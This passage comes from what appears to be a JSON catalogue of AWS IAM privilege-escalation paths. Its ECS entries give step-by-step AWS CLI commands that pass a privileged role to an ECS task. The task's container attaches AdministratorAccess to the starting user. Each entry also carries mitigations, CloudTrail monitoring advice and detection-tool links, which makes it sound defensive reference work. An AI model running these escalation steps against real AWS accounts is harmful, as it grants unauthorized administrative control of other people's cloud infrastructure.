          "description": "If the instance role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. Common scenarios include access to S3 buckets, RDS databases, DynamoDB tables, or permissions to modify specific resources. The attacker should enumerate the role's permissions to identify data access or additional escalation paths.\n"
        },
        {
          "from": "exfiltrate_creds",
          "to": "minimal_outcome",
          "label": "If instance role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the instance role only has minimal permissions such as CloudWatch logs write access or basic EC2 describe permissions, the exfiltrated credentials may not provide significant additional access. However, even limited permissions could reveal information about the environment or be useful as part of a multi-step attack chain.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-05T19:56:13Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ec2-instance-connect/ec2instanceconnect-003.yaml"
  },
  {
    "id": "ecs-001",
    "parent": {
      "id": "ecs-003",
      "modification": "Adds ecs:CreateCluster permission for scenarios where no ECS cluster exists"
    },
    "name": "iam:PassRole + ecs:CreateCluster + ecs:RegisterTaskDefinition + ecs:CreateService",
    "category": "new-passrole",
    "services": [
      "iam",
      "ecs"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L230",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L206"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must have permission to pass a role to ecs-tasks.amazonaws.com"
        },
        {
          "permission": "ecs:CreateCluster",
          "resourceConstraints": "Must be able to create ECS clusters"
        },
        {
          "permission": "ecs:RegisterTaskDefinition",
          "resourceConstraints": "Must be able to register task definitions"
        },
        {
          "permission": "ecs:CreateService",
          "resourceConstraints": "Must be able to create ECS services"
        }
      ],
      "additional": [
        {
          "permission": "ec2:DescribeVpcs",
          "resourceConstraints": "Helpful for finding the default VPC for Fargate network configuration"
        },
        {
          "permission": "ec2:DescribeSubnets",
          "resourceConstraints": "Helpful for finding subnets for Fargate network configuration"
        },
        {
          "permission": "ecs:DescribeServices",
          "resourceConstraints": "Useful for monitoring service status during exploitation"
        },
        {
          "permission": "ecs:DescribeTasks",
          "resourceConstraints": "Useful for monitoring task status during exploitation"
        },
        {
          "permission": "ecs:ListTasks",
          "resourceConstraints": "Useful for listing tasks during exploitation"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available privileged roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role permissions and trust policies"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `ecs:CreateCluster`, `ecs:RegisterTaskDefinition`, and `ecs:CreateService` can escalate privileges by creating a new ECS cluster, registering a task definition with a privileged IAM role, and launching the task via an ECS service. The task runs with the permissions of the passed role and can execute arbitrary code using the AWS CLI or SDK to modify the starting principal's permissions. This path is particularly useful because it works with Fargate launch type, eliminating the need for EC2 instance management, and the task automatically receives temporary credentials for the passed role.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts ecs-tasks.amazonaws.com service principal",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts ecs-tasks.amazonaws.com service principal"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity\n",
          "description": "Get the AWS account ID needed for constructing role ARNs"
        },
        {
          "step": 2,
          "command": "aws ecs create-cluster --cluster-name privesc-cluster\n",
          "description": "Create a new ECS cluster to host the privileged task"
        },
        {
          "step": 3,
          "command": "aws ec2 describe-vpcs --filters \"Name=isDefault,Values=true\" --query \"Vpcs[0].VpcId\" --output text\naws ec2 describe-subnets --filters \"Name=vpc-id,Values=<VPC_ID>\" --query \"Subnets[*].SubnetId\" --output text\n",
          "description": "Retrieve the default VPC and subnet IDs required for Fargate network configuration"
        },
        {
          "step": 4,
          "command": "aws ecs register-task-definition \\\n  --family privesc-task \\\n  --network-mode awsvpc \\\n  --requires-compatibilities FARGATE \\\n  --cpu 256 \\\n  --memory 512 \\\n  --task-role-arn \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --execution-role-arn \"arn:aws:iam::ACCOUNT_ID:role/ecsTaskExecutionRole\" \\\n  --container-definitions '[\n    {\n      \"name\": \"privesc-container\",\n      \"image\": \"amazon/aws-cli\",\n      \"essential\": true,\n      \"command\": [\n        \"iam\", \"attach-user-policy\",\n        \"--user-name\", \"STARTING_USERNAME\",\n        \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"\n      ]\n    }\n  ]'\n",
          "description": "Register a task definition that passes the privileged role and configures a container to execute AWS CLI commands for privilege escalation (e.g., attaching AdministratorAccess policy to the starting user)"
        },
        {
          "step": 5,
          "command": "aws ecs create-service \\\n  --cluster privesc-cluster \\\n  --service-name privesc-service \\\n  --task-definition privesc-task \\\n  --desired-count 1 \\\n  --launch-type FARGATE \\\n  --network-configuration \"awsvpcConfiguration={subnets=[SUBNET_ID],assignPublicIp=ENABLED}\"\n",
          "description": "Create an ECS service to launch the task. The service will start the task with the privileged role, and the container will execute the escalation command"
        },
        {
          "step": 6,
          "command": "aws ecs list-tasks --cluster privesc-cluster --service-name privesc-service\naws ecs describe-tasks --cluster privesc-cluster --tasks <TASK_ARN>\n",
          "description": "Monitor the task status and wait for it to reach STOPPED status, indicating the escalation commands have completed"
        },
        {
          "step": 7,
          "command": "aws sts get-caller-identity\naws iam list-attached-user-policies --user-name STARTING_USERNAME\n",
          "description": "Verify that the privilege escalation succeeded by checking if AdministratorAccess policy was attached to the starting user"
        }
      ]
    },
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does an ECS task need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificECSRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ecs-tasks.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual ECS task definition registration followed by immediate service creation\n- Monitor CloudTrail for ECS service creation by principals who do not usually create services\n- Monitor CloudTrail for roles being passed to ECS that haven't been used before\n- Monitor and alert on ECS service creation with privileged roles\n- Regularly audit ECS tasks for excessive IAM permissions\n- Regularly audit all IAM roles that trust the ECS service and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": 2025
      },
      "derivativeOf": {
        "pathId": "ecs-003",
        "modification": "Adds ecs:CreateCluster permission for scenarios where no ECS cluster exists"
      },
      "ultimateOrigin": {
        "pathId": "ecs-004",
        "author": "Nick Spagnola",
        "organization": "Rhino Security Labs",
        "date": 2020,
        "link": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      }
    },
    "references": [
      {
        "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers (Original Research)",
        "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      },
      {
        "title": "HackingTheCloud - PassRole + ECS RunTask Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iampassrole-ecsruntask"
      },
      {
        "title": "AWS ECS Privilege Escalation - HackTricks",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/"
      },
      {
        "title": "Auditing iam:PassRole: A Problematic Privilege Escalation Permission",
        "url": "https://www.tenable.com/blog/auditing-iampassrole-a-problematic-privilege-escalation-permission"
      },
      {
        "title": "Tales from the cloud trenches: Amazon ECS is the new EC2 for crypto mining",
        "url": "https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-ecs-crypto-mining/"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+ecs-createcluster+ecs-registertaskdefinition+ecs-createservice",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "ecs_takeover",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS ECS attacks including privilege escalation through container misconfigurations"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole, ecs:CreateCluster, ecs:RegisterTaskDefinition, and ecs:CreateService permissions. Can be an IAM user or role.\n"
        },
        {
          "id": "task_definition",
          "label": "New ECS Task Definition",
          "type": "resource",
          "description": "The registered ECS task definition with the target role passed via iam:PassRole. The task definition specifies a container image and commands that will execute with the target role's permissions when the task runs.\n"
        },
        {
          "id": "ecs_service",
          "label": "New ECS Service",
          "type": "resource",
          "description": "An ECS service created on Fargate that launches and maintains the task. The service ensures the task runs continuously until it completes its malicious actions.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the ecs-tasks Service",
          "type": "principal",
          "description": "The IAM role passed to the ECS task definition. Must trust ecs-tasks.amazonaws.com to assume it. When the task runs, it automatically assumes this role and executes with its permissions.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access. The task can attach admin policies to the starting principal or create new access keys with admin privileges.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin, the attacker gains partial privilege escalation. This could include access to data (S3, RDS, DynamoDB) or permissions enabling additional escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions, the privilege escalation may not provide meaningful additional access beyond what the starting principal already had.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "task_definition",
          "label": "iam:PassRole + ecs:CreateCluster + ecs:RegisterTaskDefinition",
          "description": "The attacker creates an ECS cluster and registers a task definition that passes a privileged role. The task definition includes a container with commands to escalate privileges.\n\nCommands:\n```bash\naws ecs create-cluster --cluster-name exploit-cluster\naws ecs register-task-definition \\\n  --family privesc-task \\\n  --task-role-arn \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --network-mode awsvpc \\\n  --requires-compatibilities FARGATE \\\n  --cpu 256 --memory 512 \\\n  --container-definitions '[{\"name\":\"exploit\",\"image\":\"amazon/aws-cli:latest\",\"command\":[\"iam\",\"attach-user-policy\",\"--user-name\",\"STARTING_USER\",\"--policy-arn\",\"arn:aws:iam::aws:policy/AdministratorAccess\"]}]'\n```\n"
        },
        {
          "from": "task_definition",
          "to": "ecs_service",
          "label": "ecs:CreateService",
          "description": "The attacker creates an ECS service on Fargate that launches the task. The service maintains the task until it completes execution.\n\nCommand:\n```bash\naws ecs create-service \\\n  --cluster exploit-cluster \\\n  --service-name privesc-service \\\n  --task-definition privesc-task \\\n  --desired-count 1 \\\n  --launch-type FARGATE \\\n  --network-configuration \"awsvpcConfiguration={subnets=[SUBNET_ID],assignPublicIp=ENABLED}\"\n```\n"
        },
        {
          "from": "ecs_service",
          "to": "target_role",
          "label": "Service launches task with role",
          "description": "When the ECS service starts, it launches the task which automatically assumes the target role. The container then executes with all permissions granted to the target role.\n"
        },
        {
          "from": "target_role",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the task successfully attaches admin policies to the starting principal, granting full administrative access to the account.\n"
        },
        {
          "from": "target_role",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the task can perform limited privilege escalation. This might include accessing sensitive data or performing actions that enable further escalation.\n"
        },
        {
          "from": "target_role",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the task execution may not yield meaningful privilege escalation. However, even limited access could be useful for reconnaissance.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-11T01:49:54Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ecs/ecs-001.yaml"
  },
  {
    "id": "ecs-002",
    "parent": {
      "id": "ecs-004",
      "modification": "Adds ecs:CreateCluster permission for scenarios where no ECS cluster exists"
    },
    "name": "iam:PassRole + ecs:CreateCluster + ecs:RegisterTaskDefinition + ecs:RunTask",
    "category": "new-passrole",
    "services": [
      "iam",
      "ecs"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L235",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L212"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must have access to a role that trusts ecs-tasks.amazonaws.com"
        },
        {
          "permission": "ecs:CreateCluster",
          "resourceConstraints": "Must be able to create ECS clusters"
        },
        {
          "permission": "ecs:RegisterTaskDefinition",
          "resourceConstraints": "Must be able to register task definitions"
        },
        {
          "permission": "ecs:RunTask",
          "resourceConstraints": "Must be able to run tasks on the cluster"
        }
      ],
      "additional": [
        {
          "permission": "ec2:DescribeVpcs",
          "resourceConstraints": "Helpful for finding default VPC for Fargate network configuration"
        },
        {
          "permission": "ec2:DescribeSubnets",
          "resourceConstraints": "Helpful for finding subnets for Fargate network configuration"
        },
        {
          "permission": "ecs:DescribeTasks",
          "resourceConstraints": "Useful for monitoring task status and completion"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles that trust ecs-tasks.amazonaws.com"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role permissions and trust policies"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `ecs:CreateCluster`, `ecs:RegisterTaskDefinition`, and `ecs:RunTask` can achieve privilege escalation by creating a new ECS cluster, registering a task definition that uses a privileged IAM role, and running that task on Fargate. The task executes with the permissions of the passed role and can perform actions to escalate the starting principal's privileges, such as attaching policies, creating access keys, or modifying IAM permissions. Unlike traditional EC2-based privilege escalation, this path does not require EC2 permissions and runs entirely within ECS Fargate's serverless container platform.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts ecs-tasks.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts ecs-tasks.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity",
          "description": "Get the current AWS account ID, which will be needed for constructing ARNs"
        },
        {
          "step": 2,
          "command": "aws ecs create-cluster --cluster-name privesc-cluster",
          "description": "Create a new ECS cluster to host the privileged task"
        },
        {
          "step": 3,
          "command": "aws ec2 describe-vpcs --filters \"Name=isDefault,Values=true\" --query \"Vpcs[0].VpcId\" --output text\naws ec2 describe-subnets --filters \"Name=vpc-id,Values=<VPC_ID>\" --query \"Subnets[*].SubnetId\" --output text\n",
          "description": "Retrieve the default VPC and subnet IDs required for Fargate networking configuration"
        },
        {
          "step": 4,
          "command": "aws ecs register-task-definition \\\n  --family privesc-task \\\n  --network-mode awsvpc \\\n  --requires-compatibilities FARGATE \\\n  --cpu 256 \\\n  --memory 512 \\\n  --task-role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --execution-role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --container-definitions '[{\n    \"name\": \"privesc-container\",\n    \"image\": \"amazon/aws-cli:latest\",\n    \"command\": [\"sh\", \"-c\", \"aws iam attach-user-policy --user-name VICTIM_USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"]\n  }]'\n",
          "description": "Register a task definition that uses the privileged role and contains a container that executes commands to escalate privileges (e.g., attaching AdministratorAccess policy to the starting user)"
        },
        {
          "step": 5,
          "command": "aws ecs run-task \\\n  --cluster privesc-cluster \\\n  --task-definition privesc-task \\\n  --launch-type FARGATE \\\n  --network-configuration \"awsvpcConfiguration={subnets=[SUBNET_ID],assignPublicIp=ENABLED}\"\n",
          "description": "Run the task on the Fargate cluster with the privileged role, executing the escalation commands"
        },
        {
          "step": 6,
          "command": "aws ecs describe-tasks --cluster privesc-cluster --tasks TASK_ARN",
          "description": "Monitor the task status to confirm it has completed successfully"
        },
        {
          "step": 7,
          "command": "aws sts get-caller-identity",
          "description": "Verify that the escalation succeeded by checking current permissions (e.g., test administrative access)"
        }
      ]
    },
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks.\n",
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does an ECS task need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificECSRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ecs-tasks.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual ECS task definition registration followed by immediate task execution\n- Monitor CloudTrail for ECS task execution by principals who do not usually run tasks\n- Monitor CloudTrail for roles being passed to ECS that haven't been used before\n- Monitor and alert on ECS task execution with privileged roles\n- Regularly audit ECS tasks for excessive IAM permissions\n- Regularly audit all IAM roles that trust the ECS service and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": 2025
      },
      "derivativeOf": {
        "pathId": "ecs-004",
        "modification": "Adds ecs:CreateCluster permission for scenarios where no ECS cluster exists"
      }
    },
    "references": [
      {
        "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers (Original Research)",
        "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      },
      {
        "title": "Auditing iam:PassRole: A Problematic Privilege Escalation Permission",
        "url": "https://www.tenable.com/blog/auditing-iampassrole-a-problematic-privilege-escalation-permission"
      }
    ],
    "relatedPaths": [
      "ec2-001",
      "ecs-001",
      "lambda-001"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+ecs-createcluster+ecs-registertaskdefinition+ecs-runtask",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole, ecs:CreateCluster, ecs:RegisterTaskDefinition, and ecs:RunTask permissions. Can be an IAM user or role.\n"
        },
        {
          "id": "task_definition",
          "label": "New ECS Task Definition",
          "type": "resource",
          "description": "The registered ECS task definition with the target role passed via iam:PassRole. The task definition includes a container with commands to execute with the target role's permissions.\n"
        },
        {
          "id": "ecs_task",
          "label": "New Running ECS Task",
          "type": "resource",
          "description": "An ECS task running on Fargate that executes the containerized code. Unlike CreateService, RunTask executes the task once without creating a persistent service.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the ecs-tasks Service",
          "type": "principal",
          "description": "The IAM role passed to the ECS task definition. Must trust ecs-tasks.amazonaws.com. When the task runs, it automatically assumes this role and executes with its permissions.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access. The task can attach admin policies to the starting principal or create new access keys.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has elevated but non-administrative permissions, the attacker gains partial privilege escalation including possible access to sensitive data or additional escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions, the privilege escalation may not provide meaningful additional access beyond what the starting principal already had.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "task_definition",
          "label": "iam:PassRole + ecs:CreateCluster + ecs:RegisterTaskDefinition",
          "description": "The attacker creates an ECS cluster and registers a task definition that passes a privileged role.\n\nCommands:\n```bash\naws ecs create-cluster --cluster-name exploit-cluster\naws ecs register-task-definition \\\n  --family privesc-task \\\n  --task-role-arn \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --network-mode awsvpc \\\n  --requires-compatibilities FARGATE \\\n  --cpu 256 --memory 512 \\\n  --container-definitions '[{\"name\":\"exploit\",\"image\":\"amazon/aws-cli:latest\",\"command\":[\"iam\",\"attach-user-policy\",\"--user-name\",\"STARTING_USER\",\"--policy-arn\",\"arn:aws:iam::aws:policy/AdministratorAccess\"]}]'\n```\n"
        },
        {
          "from": "task_definition",
          "to": "ecs_task",
          "label": "ecs:RunTask",
          "description": "The attacker runs the task on Fargate, which executes once without creating a service.\n\nCommand:\n```bash\naws ecs run-task \\\n  --cluster exploit-cluster \\\n  --task-definition privesc-task \\\n  --launch-type FARGATE \\\n  --network-configuration \"awsvpcConfiguration={subnets=[SUBNET_ID],assignPublicIp=ENABLED}\"\n```\n"
        },
        {
          "from": "ecs_task",
          "to": "target_role",
          "label": "Task assumes role and executes",
          "description": "The ECS task automatically assumes the target role and executes the containerized commands with all permissions granted to the target role.\n"
        },
        {
          "from": "target_role",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent, the task successfully escalates the starting principal to full administrative access.\n"
        },
        {
          "from": "target_role",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the task performs limited privilege escalation with access to sensitive resources or further escalation opportunities.\n"
        },
        {
          "from": "target_role",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the task execution may not yield meaningful privilege escalation.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-11T01:49:54Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ecs/ecs-002.yaml"
  },
  {
    "id": "ecs-003",
    "name": "iam:PassRole + ecs:RegisterTaskDefinition + ecs:CreateService",
    "category": "new-passrole",
    "services": [
      "iam",
      "ecs"
    ],
    "description": "A principal with `iam:PassRole`, `ecs:RegisterTaskDefinition`, and `ecs:CreateService` can create an ECS task definition with a privileged IAM role and launch it as a Fargate service. When the task runs, it executes with the permissions of the passed role. The level of access gained depends on the permissions of the available roles.",
    "prerequisites": {
      "admin": [
        "An ECS cluster must exist in the account",
        "A role must exist that trusts ecs-tasks.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "An ECS cluster must exist in the account",
        "A role must exist that trusts ecs-tasks.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity",
          "description": "Get your account ID for constructing resource ARNs"
        },
        {
          "step": 2,
          "command": "aws ecs list-clusters",
          "description": "List available ECS clusters in the account"
        },
        {
          "step": 3,
          "command": "aws ec2 describe-vpcs --filters \"Name=isDefault,Values=true\"\naws ec2 describe-subnets --filters \"Name=vpc-id,Values=VPC_ID\"\n",
          "description": "Get the default VPC ID and subnet IDs for Fargate network configuration"
        },
        {
          "step": 4,
          "command": "aws ecs register-task-definition \\\n  --family privesc-task \\\n  --network-mode awsvpc \\\n  --requires-compatibilities FARGATE \\\n  --cpu 256 \\\n  --memory 512 \\\n  --task-role-arn \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --execution-role-arn \"arn:aws:iam::ACCOUNT_ID:role/ecsTaskExecutionRole\" \\\n  --container-definitions '[{\n    \"name\": \"privesc-container\",\n    \"image\": \"public.ecr.aws/amazonlinux/amazonlinux:latest\",\n    \"command\": [\"sh\", \"-c\", \"aws sts get-caller-identity; aws iam attach-user-policy --user-name STARTING_USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"],\n    \"essential\": true,\n    \"logConfiguration\": {\n      \"logDriver\": \"awslogs\",\n      \"options\": {\n        \"awslogs-group\": \"/ecs/privesc-task\",\n        \"awslogs-region\": \"us-east-1\",\n        \"awslogs-stream-prefix\": \"ecs\"\n      }\n    }\n  }]'\n",
          "description": "Register a task definition with the privileged role and container that executes commands to escalate privileges"
        },
        {
          "step": 5,
          "command": "aws ecs create-service \\\n  --cluster CLUSTER_NAME \\\n  --service-name privesc-service \\\n  --task-definition privesc-task \\\n  --launch-type FARGATE \\\n  --desired-count 1 \\\n  --network-configuration \"awsvpcConfiguration={subnets=[SUBNET_ID],securityGroups=[SG_ID],assignPublicIp=ENABLED}\"\n",
          "description": "Create an ECS service that launches the task on Fargate"
        },
        {
          "step": 6,
          "command": "aws ecs list-tasks --cluster CLUSTER_NAME --service-name privesc-service\naws ecs describe-tasks --cluster CLUSTER_NAME --tasks TASK_ARN\n",
          "description": "Monitor the task status until it completes execution"
        },
        {
          "step": 7,
          "command": "aws sts get-caller-identity",
          "description": "Verify that your permissions have been escalated (if the task modified your principal)"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does an ECS task need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificECSRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ecs-tasks.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual ECS task definition registration followed by immediate service creation\n- Monitor CloudTrail for ECS service creation by principals who do not usually create services\n- Monitor CloudTrail for roles being passed to ECS that haven't been used before\n- Monitor and alert on ECS service creation with privileged roles\n- Regularly audit ECS tasks for excessive IAM permissions\n- Regularly audit all IAM roles that trust the ECS service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "HackTricks",
        "link": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/"
      },
      "derivativeOf": {
        "pathId": "ecs-004",
        "modification": "Uses ecs:CreateService instead of ecs:RunTask to execute the malicious task definition"
      },
      "ultimateOrigin": {
        "pathId": "ecs-004",
        "author": "Nick Spagnola",
        "organization": "Rhino Security Labs",
        "date": 2020,
        "link": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      }
    },
    "references": [
      {
        "title": "AWS ECS Privilege Escalation - HackTricks",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/index.html#iampassrole-ecsregistertaskdefinition-ecsupdateserviceecscreateservice"
      },
      {
        "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers (Original Research)",
